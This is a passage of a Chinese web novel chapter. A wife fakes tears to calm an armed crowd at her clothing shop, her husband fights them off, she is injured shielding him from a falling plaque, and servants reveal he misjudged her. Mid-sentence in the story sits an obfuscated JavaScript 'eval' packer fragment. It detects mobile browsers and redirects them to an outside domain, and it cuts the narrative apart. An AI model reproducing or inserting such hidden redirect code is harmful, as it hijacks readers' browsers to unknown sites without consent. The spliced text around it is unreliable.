她知道眼前的人心急如焚,是听不进去解释也不会讲道理的,于是眼一转,想到了办法。 她直接一屁股坐在地上哭哭啼啼喊了起来。 “呜呜呜呜,大哥是个大骗子,欠了一身赌债来找我借钱,我就不该心软借给他,呜呜呜呜!” “他背着我开铺子不说,居然还偷了我的设计稿,把锅甩给我,哪有他这样的大哥呀!” 她一边哭一边捶打地面,俨然是小孩耍赖一样,把所有人看愣了。 趁着他们安静的功夫,鹿芩赶紧站起来,扑通一下跪在了握着菜刀的大汉的面前。 “大哥作孽,我也是没脸见人啊!为人父母,儿子生病怎么能不焦心,我当年病的快死了,爹爹也是这样急着给我求医,我太理解您的心情了!可是我也实在没办法,不如这样,我夫君在隔壁的医馆,他医术高明,让他……” 说着说着,她忽然想起,郝景时还在生她的气,不一定会帮她的,所以越说越没底气了。 往常有烂摊子,她都图省事丢给郝景时,只要她露出星星眼,郝景时就一定会化身仗义大侠帮她收拾了,她已经习惯了。 这下完啦,她没有靠山啦! 事业爱情双崩塌,老天爷,能不能不要逮着她一个人欺负啊! 本来刚刚是演的,但鹿芩触动情肠,积压了多天的情绪一并迸发,捂着脸,“哇”地一声真哭了。 “呜呜呜呜呜…………” 众人面面相觑,本来他们是来讨说法的,这下倒像是一群强盗光天化日之下抢劫小姑娘一样了。 “呜呜呜呜……” 鹿芩抽泣着抽泣着,忽然发现四周死寂了,于是掰开手指缝,睁开眼,往外望了望。 一群人站在原地看着她,拿菜刀的大汉看她哭的稀里哗啦,似乎动摇了一下,面露难色。 眼看着他就要相信她的无辜,摆手说算了以后再算账,答应让她夫君给儿子治病了。 下一秒,门口传来了暴怒的一声:“都给小爷滚出去!” 20. 第 20 章 郝景时在门口时便听见鹿芩嚎啕大哭的声音,心一紧冲进来时,正看见衣铺里躺的东倒西歪的家丁、撞出斗鸡眼玄岚、瑟瑟发抖的菱儿,以及鹿芩跪在一个操刀大汉面前弱小无助爆哭的场景。 他脑子嗡了一下,一腔火气地推开这些人,来到鹿芩面前,一手将她拽了起来。 “给他跪什么?” 被狠狠扒开的人纷纷愣住,看见突然闯过来的郝景时,鹿芩有种绝处逢生的惊喜感,眼睛都亮了。 她情难自禁地扑过去,死死抱着他的胳膊不撒手:“呜呜呜呜夫君……” 郝景时顾不上扒拉开她,朝大汉怒道:“闹事是吧,拿个破菜刀吓唬谁呢?有本事来跟小爷说!” 持刀的大汉一下子就被挑衅到了,掂了掂菜刀说:“嘿,有你说话的份?你算哪根葱,还小爷?毛都没长齐的臭小子!” “不认得小爷是谁?眼瞎就去治!”郝景时更火大了,不耐烦地骂道,“敢欺负小爷的人,活腻歪了?” “你的人?” 大汉听完哈哈哈哈地笑了,嘴上的胡子一翘一翘的。 他看着鹿芩嘲讽道:“这就是你夫君?你说让他治病?” “呸啊!本来还想饶你一把,现在不行了!就这个小兔崽子,还给人治病,老子信不过他!必须给老子赔钱!” 大汉越说情绪越激动,将菜刀来来回回举起放下,身后众人见状,也开始附和:“赔钱!赔钱!赔钱!” “丧尽天良!还有脸做生意!” 气氛一下子又被挑的紧张起来了,听着耳边参差不齐的嚷嚷,鹿芩哭笑不得地吸吸鼻子。 好消息,靠山来了。 坏消息,靠山是个活火山,把她刚熄的火又给点着了。 耳边一群人在嚷嚷,再加上大汉冷嘲热讽,“活火山”忍无可忍,眼看着就要喷发了——鹿芩搂着他,明显感觉到他胳膊上的肌肉都崩起来了。 她赶紧弱弱地开口说:“那个,少说两句,少说两句哈……” “现在知道少说两句了?”大汉又哈哈哈笑了,不依不饶道,“晚了,老子不干了,我儿子还在床上躺着呢,今天这个理我必须讨回来!” 他瞪着眼,吹着胡子,喊道:“臭小子,你不是能耐吗?不是逞英雄吗?来来来,今个儿就让你知道厉害!” “弟兄们!给大家伙出口气,教训教训无良卖家!” “别……” 鹿芩还没说完,大汉带来的人就一窝蜂似的冲过来了,嘴里还高喊着“赔钱”。 挤上来的人气势汹汹,脚步震得衣架子直荡悠,快把铺子的地面给跺出坑来了。 此起彼伏间,郝景时顺手抄起了取衣架,指尖掐的泛白。 外头的日光卖力地向正空爬着,路过那窗户时照到他的背后,投到地面上形成一片阴影。 多么似曾相识的场景啊。 被郝景时抬手推开时,鹿芩往后退着,闭上了眼,弱弱叹息道: “大哥。” “我是让你少说两句……” 随即她落入了菱儿的怀里,被菱儿稳稳地扶了一把,两人缩在角落里,看着一群人打的不可开交。 混乱之中,玄岚清醒了过来,也迅速地加入了大战之中,衣铺里的一切都变成了武器,桌椅、衣架、烛台,连衣裳都被扔的满天飞。 不一会儿。 “啊!” 一人飞到左边,口吐白沫,菱儿和鹿芩朝左边扭过头,颤抖了一下。 “哎哟!” 两人倒在右边,叠罗汉似的摔在一起,菱儿和鹿芩朝右边扭过头,再次颤抖了一下。 “哇呀!” 三个人摔到门口,从楼梯上滚下去了,菱儿和鹿芩朝门口扭过头,再再次颤抖了一下。 “啊!”“啊!”“啊!” 一连串的惨叫声回荡在衣铺,不出所料,一行人都败下阵来,大汉也趴在地上直不起腰,手握着菜刀连连咬牙咒骂。 刚刚还附和“还钱”的人都灰溜溜地散了,挤破门想快点离开。 被人撞了又撞的玄岚扑倒在地,一连咳了好几声,抓着休息区的桌腿爬起来了,整个人倒在凳子上休息。 郝景时甩手丢了取衣架,屈指揩了一下嘴角渗出的血丝,走到大汉眼前,抬腿用鞋尖贴了贴他的脸。 “小爷最烦你这样的人。没什么能耐,就会闹事,闹了你儿子的病就能好了?” 他收了腿,冷笑了一声。 “你现在带人滚出去,明天来给小爷登门道歉,小爷就大发慈悲,治好你儿子,听见了没有?” “你……”大汉抬起头,气急败坏地瞪着他,显然是不服气。 他在一旁粗喘气,越发觉得咽不下这口气似的,突然发力将手里菜刀朝扔了出去。 鹿芩和菱儿双双吓得站了起来。 “夫君!”“少爷!” “小心!” “唰”的一声,好在大汉趴在地上扔的不准,郝景时一侧身便躲过了,菜刀与他擦肩而过,一下子打在了他身后的牌匾上。 “咣啷”一声,菜刀落在了地上,鹿芩紧皱着眉松了口气,也松开了抓出褶子的衣裳。 郝景时回头扫了一下菜刀,眯了眯眼:“你没完了是吧?” “小兔崽子……”大汉慢慢爬起来,眼里全是胜负欲,看样子是想继续和他较量。 郝景时抱起胳膊,嗤之以鼻。 他懒得理会,后退了几步,这时牌匾突然摇摇欲坠,发出“咔咔”的声音。 接着直直地掉了下来。 眼看着牌匾就要冲郝景时的头砸下去了,鹿芩心一慌,不顾一切地冲过去:“郝景时——” “嘭”的一声。 鹿芩用力将郝景时扑倒,两人双双摔倒在地上,同时牌匾重重地砸了下来。 郝景时觉得浑身一震,像要散架似的,从错愕中回过神时,他只看见了那牌匾的边框。 静止了一瞬。 菱儿撕心裂肺地尖叫起来:“少夫人!” 郝景时意识到了什么,立马伸手将牌匾搬开扔到一边,果然看见了伏在他胸膛上的鹿芩。 牌匾上留着血痕,显然是鹿芩的,她的头发湿了,一股鲜红的血慢慢地流下来,越流越长,逐渐染了他洁白的衣袍。 见鹿芩没了动静,郝景时抱着她猛地弹坐起来,拍了拍她的脸蛋。 “鹿芩……鹿芩!” 鹿芩闭着眼,头跟着动了动,没有任何反应,像是昏了过去。 她软绵绵地靠在他怀里,郝景时一下子乱了神,抖着手探了探她的脉息。 见还有跳动,他顾不上别的,将她一个横抱带走,冲到了医馆里。 菱儿小跑着跟了过去,玄岚愣了一下,也赶紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289656|182552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑去帮忙。 大汉傻眼了,见地上留了一摊血渍,心里终于生了恐惧,慢慢挪动着僵硬的身子,逃也一样离开了。 …… 郝景时手忙脚乱地给鹿芩止血包扎,菱儿在一旁打着下手,玄岚则不敢添乱,躲在墙角叹息。 鹿芩本就体虚,现下更是唇色煞白,脸上毫无生机,像凋零的花似的,蔫的发干。 见郝景时心疼地抚摸起鹿芩的额头,玄岚清了清嗓子:“少夫人当真是对您一片情深,都不要命了似的,就那么直接扑上去。” 菱儿听后,抹了抹泪:“是啊,少爷,恕奴婢多嘴,您就算和少夫人置气,也不能一连几日都不回府,老夫人不满,少夫人也日日睡不好,奴婢实在是看不下去。” 玄岚附和:“就是,少爷,家和万事兴,家和万事兴,您看您和少夫人一吵架,这衣铺都遭了罪。” 这俩人你一句我一句地配合着说,郝景时听了手一顿,焦躁不安和愧疚自责一起涌上心头,心烦道:“闭嘴。” 玄岚知道他听进去了,瞄了他一眼后把嘴巴抿的死死的。 但菱儿没有听话,反倒激动起来,把沾满血的手帕狠狠甩在地上。 她大声道:“您今日就算是打死奴婢,奴婢也要说!” “那日少爷说的话,奴婢都听见了,少爷怎知少夫人没有真心!您要纳妾,少夫人就算万般不愿意,也尽心给您安排,连奴婢都看得出来她难过!” “旁人欺负少夫人,少爷也要疑心少夫人,您算什么男人,连自己的发妻都不相信!” 菱儿一连串地说完,气的跺着脚,像兔子似的跑了出去。 她自小在家时便常见父亲疑心母亲,两人吵到不欢而散,父亲气愤离家,小小的她见母亲落泪,就偷偷跑出去找父亲,想从中劝和,结果半途遇到了人贩子。 若非父亲如此,她才不会被卖到郝家为奴为婢。 她最讨厌一赌气就不回家的男人!他们都该死! 少爷也该死! “……” 郝景时被她骂的愣了愣,菱儿从前是伺候母亲的,最机灵也最有分寸,今日竟然敢这样跟他说话,像吃错药了似的。 他茫然地抬头看着玄岚:“她说的是真的吗?” “是。”玄岚赶紧一股脑地回答,“奴才这几日偷偷回府,的确常见老夫人训诫少夫人,大多数是为了纳妾一事。而且,纳鹿家二小姐的事,也是赵姨娘自己张罗的,少夫人并不知情。” “府上人都说,自从开了衣铺后,老夫人就对少夫人多有不满,尤其是在子嗣上,所以三番五次地让少夫人安排纳妾……依奴才看,少夫人也是不情愿的,她没办法,就来试探少爷,但那天少爷突然松口……” “你怎么不早告诉小爷!” 郝景时听到这,如同遭了一记闷雷一样脱口而出。 他误会鹿芩了!他还以为鹿芩和赵姨娘是一伙的,先骗他开衣铺,再把鹿萍塞给他做妾,好偷他家的钱呢! 玄岚露出一副憋坏了的模样:“少爷,您、您也不听奴才说话啊,奴才、奴才不是没说过,奴才想说了好几次了,但奴才一提少夫人您就急,还让奴才滚出去……” “滚出去!” “…………” 玄岚无奈,瞄了一眼气急败坏的少爷,乖乖地爬到树上去了: “奴才滚了。”